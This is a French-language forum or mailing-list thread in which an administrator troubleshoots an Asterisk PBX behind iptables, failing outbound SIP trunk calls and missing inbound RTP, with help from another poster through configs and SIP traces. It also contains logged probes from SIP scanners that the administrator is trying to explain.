Bonjour à tous, Je suis en train de configurer (péniblement) un serveur asterisk qui est dans un DMZ. Tout le flux entrant sur l'IP publique est naté vers ce serveur, protégé par un firewall iptables et fail2ban. Il s'agit d'iptables et non d'iptables-legacy. Cette machine est connectée à deux réseaux : wan0 d'un côté et lan0 de l'autre. Ce qui m'inquiète : Root rayleigh:[/etc/asterisk] > tcpdump -i wan0 -p port 5060 ... 12:26:54.145136 IP patient.census.internet-measurement.com.38253 > rayleigh.systella.fr.sip: Flags [S], seq 3922597779, win 14600, options [mss 1440], length 0 Là, je ne saisis pas puisque j'ai dans le fichier /var/lib/iptables/active : *filter :INPUT DROP [28:3300] :FORWARD DROP [0:0] :OUTPUT DROP [27:3120] [0:0] -A INPUT -i lo -j ACCEPT [0:0] -A INPUT -i lan0 -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport ssh -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport smtp -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport domain -j ACCEPT [0:0] -A INPUT -i wan0 -p udp -m udp --dport domain -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport http -j ACCEPT [0:0] -A INPUT -i wan0 -p udp -m udp --dport ntp -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport https -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport ssmtp -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport submission -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport imaps -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport pop3s -j ACCEPT [0:0] -A INPUT -i wan0 -p udp -m udp --dport openvpn -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport openvpn -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport cvspserver -j ACCEPT [0:0] -A INPUT -i wan0 -p udp -m udp --dport cvspserver -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport jabber-client -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport git -j ACCEPT [0:0] -A INPUT -i wan0 -p icmp -j ACCEPT [0:0] -A INPUT -i wan0 -p udp -m udp --dport 1 -j ACCEPT [0:0] -A INPUT -i wan0 -p tcp -m tcp --dport 4443 -j ACCEPT [0:0] -A INPUT -i wan0 -p udp -m udp -s 37.97.65.0/24 -j ACCEPT [0:0] -A INPUT -i wan0 -s ns6-axfr.gandi.net -j ACCEPT [0:0] -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT [0:0] -A INPUT -m state --state INVALID -j DROP [0:0] -A OUTPUT -o lo -j ACCEPT [0:0] -A OUTPUT -o lan0 -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport ftp -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport ssh -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport telnet -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport smtp -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport whois -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport domain -j ACCEPT [0:0] -A OUTPUT -o wan0 -p udp -m udp --dport domain -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport gopher -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport http -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport pop3 -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport nntp -j ACCEPT [0:0] -A OUTPUT -o wan0 -p udp -m udp --dport ntp -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport snmp -j ACCEPT [0:0] -A OUTPUT -o wan0 -p udp -m udp --dport snmp -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport snmp-trap -j ACCEPT [0:0] -A OUTPUT -o wan0 -p udp -m udp --dport snmp-trap -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport https -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport rtsp -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport pop3s -j ACCEPT [0:0] -A OUTPUT -o wan0 -p udp -m udp --dport openvpn -j ACCEPT [0:0] -A OUTPUT -o wan0 -p udp -m udp --sport 1195 -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport cvspserver -j ACCEPT [0:0] -A OUTPUT -o wan0 -p udp -m udp --dport cvspserver -j ACCEPT [1:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport 3128 -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport mysql -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport subversion -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport postgresql -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport http-alt -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport git -j ACCEPT [0:0] -A OUTPUT -o wan0 -p icmp -j ACCEPT [0:0] -A OUTPUT -o wan0 -p udp -m udp --sport 1 -j ACCEPT [0:0] -A OUTPUT -o wan0 -p tcp -m tcp -d 37.97.65.186 --dport 5070 -j ACCEPT [0:0] -A OUTPUT -o wan0 -p udp -m udp -d 37.97.65.0/24 -j ACCEPT [0:0] -A OUTPUT -o wan0 -d ns6-axfr.gandi.net -j ACCEPT [0:0] -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT [0:0] -A OUTPUT -m state --state INVALID -j DROP La table mangle est utilisée pour la QoS. Comment se fait-il qu'un paquet sur le port 5060/UDP puisse être envoyé à mon serveur sans qu'il ne soit jeté ? Il n'y a pas de conntrack-sip chargé... Bien cordialement, JKB
Re: Configuration asterisk
NoSpam a écrit : > Je me suis mal exprimé: le SPA arrive bien à appeler les autres postes > ou l'écho test d'Asterisk (extension 600 par défaut si activer) ? > > Si oui, le problème est au niveau d'asterisk, vois mon dernier courriel. Il n'y a que des SPA et ils peuvent tous s'appeler entre eux (grâce aux numéros enregistrés dans extensions.conf allant de 6001 à 6008).
Re: Configuration asterisk
NoSpam a écrit :
> Stop: n'as tu pas dit que les postes en interne arrivent à s'appeler ?
> Si c'est le cas, cela veut dire qu'asterisk ne sait pas comment traiter
> l'appel.
>
> 34. No circuit/channel available
>
> Renvois STP le context internal
Je réponds à toutes les questions dans le même mail pour qu'on s'y
retrouve plus facilement.
[internal]
exten => 6001,1,Dial(PJSIP/6001)
exten => 6002,1,Dial(PJSIP/6002)
exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
rayleigh*CLI> pjsip show endpoint SBSR
...
Endpoint: SBSR Not in
use0 of inf
OutAuth: SBSR_auth/trunk-sip
Aor: SBSR 1
Contact: SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
NonQual nan
Transport: udp-transport udp 0 0 0.0.0.0:5060
Identify: SBSR/SBSR
Match: 37.97.65.186/32
100rel : yes
accept_multiple_sdp_answers: false
accountcode:
acl:
aggregate_mwi : true
allow : (alaw|ulaw|g722|gsm)
allow_overlap : true
allow_subscribe: true
allow_transfer : true
allow_unauthenticated_options : false
aors : SBSR
asymmetric_rtp_codec : false
auth :
bind_rtp_to_media_address : false
bundle : false
call_group :
callerid :
callerid_privacy : allowed_not_screened
callerid_tag :
codec_prefs_incoming_answer: prefer:pending,
operation:intersect, keep:all, transcode:allow
codec_prefs_incoming_offer : prefer:pending,
operation:intersect, keep:all, transcode:allow
codec_prefs_outgoing_answer: prefer:pending,
operation:intersect, keep:all, transcode:allow
codec_prefs_outgoing_offer : prefer:pending, operation:union,
keep:all, transcode:allow
connected_line_method : invite
contact_acl:
context: sbsr
cos_audio : 0
cos_video : 0
device_state_busy_at : 0
direct_media : false
direct_media_glare_mitigation : none
direct_media_method: invite
disable_direct_media_on_nat: false
dtls_auto_generate_cert: No
dtls_ca_file :
dtls_ca_path :
dtls_cert_file :
dtls_cipher:
dtls_fingerprint : SHA-256
dtls_private_key :
dtls_rekey : 0
dtls_setup : active
dtls_verify: No
dtmf_mode : rfc4733
fax_detect : false
fax_detect_timeout : 0
follow_early_media_fork: true
force_avp : false
force_rport: true
from_domain: systella2.buroticstore.eu
from_user : trunk-sip
g726_non_standard : false
geoloc_incoming_call_profile :
geoloc_outgoing_call_profile :
ice_support: false
identify_by: username,ip
ignore_183_without_sdp : false
inband_progress: false
incoming_call_offer_pref : local
incoming_mwi_mailbox :
language :
mailboxes :
max_audio_streams : 1
max_video_streams : 1
media_address :
media_encryption : no
media_encryption_optimistic: false
media_use_received_transport : false
message_context:
moh_passthrough: false
moh_suggest: default
mwi_from_user :
mwi_subscribe_replaces_unsolicited : no
named_call_group :
named_pickup_group :
notify_early_inuse_ringing : false
one_touch_recording: false
outbound_auth : SBSR_auth
outbound_proxy :
outgoing_call_offer_pref : remote_merge
overlap_context:
pickup_group :
preferred_codec_only : false
record_off_feature : automixmon
record_on_feature : automixmon
refer_blind_progress : true
rewrite_contact: false
rpid_immediate : false
rtcp_mux : false
rtp_engine
Re: Configuration asterisk
NoSpam a écrit : > Ton asterisk (192.168.1.1) qui répond 503 au SPA > > Il faudrait la config complète du SPA J'ai bien une sauvegarde de la configuration, mais ce n'est pas un fichier texte : hilbert:[~] > file SPA112_1.4.1.cfg SPA112_1.4.1.cfg: dBase III DBT, version number 0 J'ai laissé dans les SPA112 la configuration qui fonctionnait historiquement chez Nerim. Comment envoyer cette configuration sans tout recopier à la main (ce qui sera long et illisible) ?
Re: Configuration asterisk
NoSpam a écrit : >> Je ne saisis pas comment ces paquets arrivent à passer le firewall. > Ce sont les attaques dont je parlais précédemment. Il semble qu'il y ai > un trou dans le FW. Y'a pas du nat sur le Cisco pour le wan => lan ? Le serveur est en DMZ donc récupère tout ce qui arrive côté WAN et le nate. Iptables est censé faire le boulot aidé par fail2ban. Je viens de relancer le firewall pour voir.
Re: Configuration asterisk
NoSpam a écrit : > On peut avoir les logs "lisibles", je me demande si ce n'est pas le SPA > qui envoit cette erreur ... On va réessayer. 2023/07/03 11:16:49.319643 192.168.10.253:5060 -> 192.168.1.1:5060 INVITE sip:0052@192.168.1.1 SIP/2.0 Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-4ffc33f;rport From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0 To: Remote-Party-ID: "BERTRAND Jool" ;screen=yes;party=calling Call-ID: b4303fbc-598e832d@192.168.10.253 CSeq: 101 INVITE Max-Forwards: 70 Contact: "BERTRAND Jool" Expires: 240 User-Agent: Cisco/SPA112-1.4.1_SR5 Content-Length: 337 Allow: ACK, BYE, CANCEL, INFO, INVITE, NOTIFY, OPTIONS, REFER Supported: replaces Content-Type: application/sdp v=0 o=- 1109306 1109306 IN IP4 192.168.10.253 s=- c=IN IP4 192.168.10.253 t=0 0 m=audio 16388 RTP/AVP 8 18 0 2 100 101 a=rtpmap:8 PCMA/8000 a=rtpmap:18 G729a/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:2 G726-32/8000 a=rtpmap:100 NSE/8000 a=fmtp:100 192-193 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 a=ptime:30 a=sendrecv 2023/07/03 11:16:49.320230 192.168.1.1:5060 -> 192.168.10.253:5060 SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP 192.168.10.253:5060;rport=5060;received=192.168.10.253;branch=z9hG4bK-4ffc33f Call-ID: b4303fbc-598e832d@192.168.10.253 From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0 To: ;tag=z9hG4bK-4ffc33f CSeq: 101 INVITE WWW-Authenticate: Digest realm="asterisk",nonce="1688375809/24b290ed53f6d5700e1c2242cea3347e",opaque="5872e4ec55567b00",algorithm=MD5,qop="auth " Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1 Content-Length: 0 2023/07/03 11:16:49.324923 192.168.10.253:5060 -> 192.168.1.1:5060 ACK sip:005@192.168.1.1 SIP/2.0 Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-4ffc33f;rport From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0 To: ;tag=z9hG4bK-4ffc33f Call-ID: b4303fbc-598e832d@192.168.10.253 CSeq: 101 ACK Max-Forwards: 70 Contact: "BERTRAND Jool" User-Agent: Cisco/SPA112-1.4.1_SR5 Content-Length: 0 2023/07/03 11:16:49.328795 192.168.10.253:5060 -> 192.168.1.1:5060 INVITE sip:005@192.168.1.1 SIP/2.0 Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-7769d797;rport From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0 To: Remote-Party-ID: "BERTRAND Jool" ;screen=yes;party=calling Call-ID: b4303fbc-598e832d@192.168.10.253 CSeq: 102 INVITE Max-Forwards: 70 Authorization: Digest username="6001",realm="asterisk",nonce="1688375809/24b290ed53f6d5700e1c2242cea3347e",uri="sip:005@192.168.1.1",al gorithm=MD5,response="8cda3eaf2616c6c31814e0420a209a45",opaque="5872e4ec55567b00",qop=auth,nc=0001,cnonce="569b9d8d" Contact: "BERTRAND Jool" Expires: 240 User-Agent: Cisco/SPA112-1.4.1_SR5 Content-Length: 337 Allow: ACK, BYE, CANCEL, INFO, INVITE, NOTIFY, OPTIONS, REFER Supported: replaces Content-Type: application/sdp v=0 o=- 1109306 1109306 IN IP4 192.168.10.253 s=- c=IN IP4 192.168.10.253 t=0 0 m=audio 16388 RTP/AVP 8 18 0 2 100 101 a=rtpmap:8 PCMA/8000 a=rtpmap:18 G729a/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:2 G726-32/8000 a=rtpmap:100 NSE/8000 a=fmtp:100 192-193 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 a=ptime:30 a=sendrecv 2023/07/03 11:16:49.329462 192.168.1.1:5060 -> 192.168.10.253:5060 SIP/2.0 100 Trying Via: SIP/2.0/UDP 192.168.10.253:5060;rport=5060;received=192.168.10.253;branch=z9hG4bK-7769d797 Call-ID: b4303fbc-598e832d@192.168.10.253 From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0 To: CSeq: 102 INVITE Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1 Content-Length: 0 2023/07/03 11:16:49.366603 192.168.1.1:5060 -> 192.168.10.253:5060 SIP/2.0 503 Service Unavailable Via: SIP/2.0/UDP 192.168.10.253:5060;rport=5060;received=192.168.10.253;branch=z9hG4bK-7769d797 Call-ID: b4303fbc-598e832d@192.168.10.253 From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0 To: ;tag=b3c85bd6-bf99-4304-9bb8-9f72ed0e951f CSeq: 102 INVITE Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1 Reason: Q.850;cause=34 Content-Length: 0 C'est effectivement le SPA qui a l'air de répondre par une erreur 503. 2023/07/03 11:16:49.404098 192.168.10.253:5060 -> 192.168.1.1:5060 ACK sip:005@192.168.1.1 SIP/2.0 Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-7769d797;rport From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0 To: ;tag=b3c85bd6-bf99-4304-9bb8-9f72ed0e951f Call-ID: b4303fbc-598e832d@192.168.10.253 CSeq: 102 ACK Max-Forwards: 70 Authorization: Digest username="6001",realm="asterisk",nonce="1688375809/24b290ed53f6d5700e1c2242cea3347e",uri="sip:005@192.168.1.1",al gorithm=MD5,response="8cda3eaf2616c6c31814e0420a209a45",opaque="5872e4ec55567b00",qop=auth,nc=0001,cnonce="569b9d8d" Contact: "BERTRAND Jool" User-Agent: Cisco/SPA112-1.4.1_SR5 Content-Length: 0
Re: Configuration asterisk
NoSpam a écrit : > Ton problème: error 503 Service Unavailable > > Es tu sûr que le service est fonctionnel ?! Es tu sûr de la qualité de > ton lien ? Peux tu basculer en UDP pour tester ? Le serveur en face ne répond pas en UDP. La réponse est donc non. Un point me chagrine. À la requête du serveur de l'opérateur : 2023/07/03 11:00:47.087935 37.97.65.186:5070 -> 192.168.15.18:40055 OPTIONS sip:s@62.212.98.88:5060;transport=TCP SIP/2.0 Via: SIP/2.0/TCP 37.97.65.186:5070;branch=z9hG4bKZ67rt8U6937aK Route: ;transport=TCP Max-Forwards: 70 From: ;tag=7Xp87eDtae20H To: Call-ID: 64f20903-cd7d-4d95-bbee-bac3e99029e2_4747c3c2-355c-4604-be14-d88ac29d89 48 CSeq: 348219426 OPTIONS Contact: User-Agent: Sewan_TRUNKFSC15 Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, NOTIF Y Supported: path, replaces Allow-Events: talk, hold, conference, refer Content-Length: 0 mpon asterisk répond : 2023/07/03 11:00:47.088564 192.168.15.18:40055 -> 37.97.65.186:5070 SIP/2.0 404 Not Found Via: SIP/2.0/TCP 37.97.65.186:5070;rport=5070;received=37.97.65.186;branch=z9hG4 bKZ67rt8U6937aK Call-ID: 64f20903-cd7d-4d95-bbee-bac3e99029e2_4747c3c2-355c-4604-be14-d88ac29d89 48 From: ;tag=7Xp87eDtae20H To: ;tag=z9hG4bKZ67rt8U6937aK CSeq: 348219426 OPTIONS Accept: application/sdp, application/xpidf+xml, application/cpim-pidf+xml, appli cation/simple-message-summary, application/pidf+xml, application/dialog-info+xml , application/pidf+xml, application/dialog-info+xml, application/simple-message- summary, message/sipfrag;version=2.0 Allow: OPTIONS, REGISTER, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE, CANCEL, UPDATE, PRACK, REFER, MESSAGE Supported: 100rel, timer, replaces, norefersub Accept-Encoding: identity Accept-Language: en Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1 Content-Length: 0 > Il faudrait voir avec Sewan le pourquoi de la réponse. Lié au problème > d'UTF8 car ton prénom est devenu Jool ... ? Je vais voir avec eux. Petite question connexe sur sngrep. Je trouve des choses comme ça : [ ] 29 OPTIONS100@1.1.1.1 100@1.1.1.1 1 [ ] 45 OPTIONScensysinsp...@censys.io test.e...@sip5060.net 1 Quand je vais voir dedans, je peux trouver : 2023/07/03 10:30:06.796424 116.12.47.142:5102 -> 192.168.15.18:5060 OPTIONS sip:100@62.212.98.88 SIP/2.0 Via: SIP/2.0/UDP 116.12.47.142:5102;branch=z9hG4bK-1203353867;rport Max-Forwards: 70 To: "sipvicious" From: "sipvicious";tag=3365643436323538313363340132313430303536 303634 User-Agent: friendly-scanner Call-ID: 681857140004342012871496 Contact: sip:100@116.12.47.142:5102 CSeq: 1 OPTIONS Accept: application/sdp Content-Length: 0 Je ne saisis pas comment ces paquets arrivent à passer le firewall. Par défaut, tout est fermé et je n'ouvre que le nécessaire. En particulier, le 5060/UDP est censé être fermé. Chain INPUT (policy DROP 18 packets, 1941 bytes) pkts bytes target prot opt in out source destination 889 99011 f2b-recidive tcp -- anyany anywhere anywhere 736 144K ACCEPT all -- lo any anywhere anywhere 739 50821 ACCEPT all -- lan0 any anywhere anywhere 12 1872 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:ssh 56 5214 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:smtp 0 0 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:domain 172 ACCEPT udp -- wan0 any anywhere anywhere udp dpt:domain 33 4407 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:http 0 0 ACCEPT udp -- wan0 any anywhere anywhere udp dpt:ntp 19 3508 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:https 0 0 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:submissions 0 0 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:submission 0 0 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:imaps 0 0 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:pop3s 0 0 ACCEPT udp -- wan0 any anywhere anywhere udp dpt:openvpn 0 0 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:openvpn 0 0 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:cvspserver 0 0 ACCEPT udp -- wan0 any anywhere anywhere udp dpt:2401 0 0 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:xmpp-client 0 0 ACCEPT tcp -- wan0 any anywhere anywhere tcp dpt:git 0 0 ACCEPT icmp -- wan0 any anywhere anywhere 0 0 ACCEPT udp -- wan0 any anywhere anywhere udp dpt:1 0 0 ACCEPT tcp -- wan0 any anywhere anywhere
Re: Configuration asterisk
NoSpam a écrit :
>> rayleigh*CLI> core set verbose 3
>> Console verbose was OFF and is now 3.
>> [Jul 2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
>> CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
>> characters which were replaced
>> [Jul 2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
>> CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
>> characters which were replaced
>> -- Executing [001@internal:1] Dial("PJSIP/6001-0008",
>> "PJSIP/01@SBSR") in new stack
>> -- Called PJSIP/01@SBSR
>> == Everyone is busy/congested at this time (1:0/1/0)
>> -- Auto fallthrough, channel 'PJSIP/6001-0008' status is
>> 'CONGESTION'
>
> En cli, pjsip set logger host
Jul 3 10:14:34] WARNING[32621]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
[Jul 3 10:14:34] WARNING[32621]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
-- Executing [001@internal:1] Dial("PJSIP/6001-",
"PJSIP/0148069873@SBSR") in new stack
-- Called PJSIP/01@SBSR
== Everyone is busy/congested at this time (1:0/1/0)
-- Auto fallthrough, channel 'PJSIP/6001-' status is
'CONGESTION'
<--- Received SIP request (651 bytes) from TCP:37.97.65.186:5070 --->
OPTIONS sip:s@62.212.98.88:5060;transport=TCP SIP/2.0
Via: SIP/2.0/TCP 37.97.65.186:5070;branch=z9hG4bKF13grv1tvD7va
Route: ;transport=TCP
Max-Forwards: 70
From: ;tag=a3r2eB8ge69Dp
To:
Call-ID:
4a0ef4d5-4ac8-48f1-a551-e61277fe9753_4747c3c2-355c-4604-be14-d88ac29d8948
CSeq: 348033221 OPTIONS
Contact:
User-Agent: Sewan_TRUNKFSC15
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE,
REGISTER, NOTIFY
Supported: path, replaces
Allow-Events: talk, hold, conference, refer
Content-Length: 0
> En parallèle, dans un terminal, lance sngrep
Une seule transaction :
│INVITE
sip:00148069873@192.168.1.1 SIP/2
192.168.10.253:5060│.0
──┬─│Via: SIP/2.0/UDP
192.168.10.253:5060;bra
10:14:34.308815 │INVITE (S│nch=z9hG4bK-e51ba7a4;rport
+0.000602 │ │From: "BERTRAND Jool"
;tag=d0c01f1f32fe402fo0
+0.005262 │ <───│To:
10:14:34.314679 │ ACK │Remote-Party-ID: "BERTRAND Jool"
;screen=yes;party=calling
10:14:34.317965 │INVITE (S│Call-ID:
57d1fddf-fd97f06f@192.168.10.25
+0.000737 │ │3
10:14:34.318702 │ 100 Tryi│CSeq: 101 INVITE
+0.044037 │ <───│Max-Forwards: 70
10:14:34.362739 │ 503 Service Un│Contact: "BERTRAND Jool"
10:14:34.398429 │ ACK │Expires: 240
│ │User-Agent: Cisco/SPA112-1.4.1_SR5
│ │Content-Length: 335
│ │Allow: ACK, BYE, CANCEL, INFO,
INVITE, N
│ │OTIFY, OPTIONS, REFER
│ │Supported: replaces
│ │Content-Type: application/sdp
│ │
│ │v=0
│ │o=- 735811 735811 IN IP4
192.168.10.253
│ │s=-
│ │c=IN IP4 192.168.10.253
│ │t=0 0
│ │m=audio 16386 RTP/AVP 8 18 0 2
100 101
│ │a=rtpmap:8 PCMA/8000
│ │a=rtpmap:18 G729a/8000
│ │a=rtpmap:0 PCMU/8000
│ │a=rtpmap:2 G726-32/8000
│ │a=rtpmap:100 NSE/8000
│ │a=fmtp:100 192-193
│ │a=rtpmap:101 telephone-event/8000
│ │a=fmtp:101 0-15
│ │a=ptime:30
│ │a=sendrecv
>>
>> - les appels entrants font bien sonner le bon téléphone, mais
>> seule la
>> voie sortante fonctionne.
> je ne comprends pas cette phrase
>>> ?
>> Lorsque j'appelle par exemple de mon cellulaire vers un numéro
>> correspondant au trunk SIP.
> Je ne comprends pas plus: tu appelles de ton cellulaire vers un numéro
> et le poste correspondant sonne. J'ai juste ?
Oui.
> Que veut dire alors "seule
> la voie sortante fonctionne" alors que tu n'arrives pas à passer d'appel ?
Je n'arrive pas à passer un appel sortant. Un appel entrant est
acheminé, mais seule les paquets RTP asterisk vers le monde extérieur
passent. Il n'y a aucun paquet RTP entrants.
>> Il n'y a aucun paquet
Re: Configuration asterisk
NoSpam a écrit :
>
> Le 02/07/2023 à 19:36, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Le 02/07/2023 à 18:27, BERTRAND Joël a écrit :
>>>> [...]
>>>> - tous les appels sortants échouent lamentablement ;
>>> Poste les logs. En cli, core set verbose 3 puis passe un appel en copie
>>> les logs ici
> Pas de logs ...
Oui, journée difficile...
rayleigh*CLI> core set verbose 3
Console verbose was OFF and is now 3.
[Jul 2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
[Jul 2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
-- Executing [001@internal:1] Dial("PJSIP/6001-0008",
"PJSIP/01@SBSR") in new stack
-- Called PJSIP/01@SBSR
== Everyone is busy/congested at this time (1:0/1/0)
-- Auto fallthrough, channel 'PJSIP/6001-0008' status is
'CONGESTION'
>>>> - les appels entrants font bien sonner le bon téléphone, mais seule la
>>>> voie sortante fonctionne.
>>> je ne comprends pas cette phrase
> ?
Lorsque j'appelle par exemple de mon cellulaire vers un numéro
correspondant au trunk SIP.
>>>> Il n'y a aucun paquet RTP qui provient de
>>>> l'extérieur...
>>> Qu'as tu mis dans ton transport
>>>
>>> external_media_address et external_signaling_address ?
>> [tcp-transport]
>> type=transport
>> protocol=tcp
>> bind=192.168.15.18
>> local_net=192.168.0.0/16
>> external_media_address=adresse publique
>> external_signaling_address=adresse publique
>
> tcp ? udp est la norme mais ppurqoi pas. RTP est en UDP.: la fourchette
> de ports que tu as définie est elle bien renvoyée vers asterisk ?
Tout est renvoyé vers le serveur asterisk (DMZ) qui accepte tout ce qui
vient du sous-réseau de l'opérateur en question quel que soit le
protocole (iptables). La signalisation est faite en TCP sur le port
5070. Mais les paquets RTP doivent normalement passer en UDP. Du reste,
c'est bien ce que j'observe.
>>
>>> Difficile de te répondre ne connaissant pas le schéma du réseau ...
>> WAN-modem fibre-(192.168.15.18)DMZ(asterisk 192.168.1.1)
>> | |
>> | 192.168.1.2
>> +-serveur LAN
>> 192.168.10.128
>> |
>> LAN
>>
>> Tous les postes sont sur le LAN. Le WAN est en fait un MPLS
>> (redondance
>> fibre/4G d'un /29).
> Par hasard, une livebox ? Une fibre FIB Orange ?
Non, réseau Axione avec un Cisco.
>>>> [internal]
>>>> exten => 6001,1,Dial(PJSIP/6001)
>>>> exten => 6002,1,Dial(PJSIP/6002)
>>>> exten => _0.,1,Dial(PJSIP/${EXTEN:1}@SBSR)
>>> Ne connaissant pas la config de SBSR.
>>>
>>> Modifie ta ligne en _0X de manière à ne pas envoyer tout ce qui
>>> commence par 0 plus un caractère minimum à ton opérateur, il risque de
>>> ne pas aimer ;)
>> [internal]
>> exten => 6001,1,Dial(PJSIP/6001)
>> exten => 6002,1,Dial(PJSIP/6002)
>> exten => _00[1-7],1,Dial(PJSIP/${EXTEN:1}@SBSR)
>
> exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
>
> Depuis le 01/01/2023 les 06 et 07 sont interdits pour la prospection
> commerciale, les numéros géographiques ne le sont plus, les 09 sont les
> numéros en vogue
>
> Ton opérateur ne publie t'il pas d'exemple de configuration ?
J'ai un accès internet pour les ploucs. J'ai déjà eu du mal à obtenir
une fibre avec un /29 IPv4 et un /48 IPv6 et un routage MPLS... Je n'ai
pas accès aux opérateurs pro classiques, il faut que ces opérateurs
aient un contrat de partenariat avec la région et ce sont souvent des
gens qui sont à trois ou quatre dans une boîte...
Re: Configuration asterisk
NoSpam a écrit :
>
> Le 02/07/2023 à 18:27, BERTRAND Joël a écrit :
>> [...]
>> - tous les appels sortants échouent lamentablement ;
> Poste les logs. En cli, core set verbose 3 puis passe un appel en copie
> les logs ici
>> - les appels entrants font bien sonner le bon téléphone, mais seule la
>> voie sortante fonctionne.
> je ne comprends pas cette phrase
>> Il n'y a aucun paquet RTP qui provient de
>> l'extérieur...
>
> Qu'as tu mis dans ton transport
>
> external_media_address et external_signaling_address ?
[tcp-transport]
type=transport
protocol=tcp
bind=192.168.15.18
local_net=192.168.0.0/16
external_media_address=adresse publique
external_signaling_address=adresse publique
> Difficile de te répondre ne connaissant pas le schéma du réseau ...
WAN-modem fibre-(192.168.15.18)DMZ(asterisk 192.168.1.1)
| |
| 192.168.1.2
+-serveur LAN
192.168.10.128
|
LAN
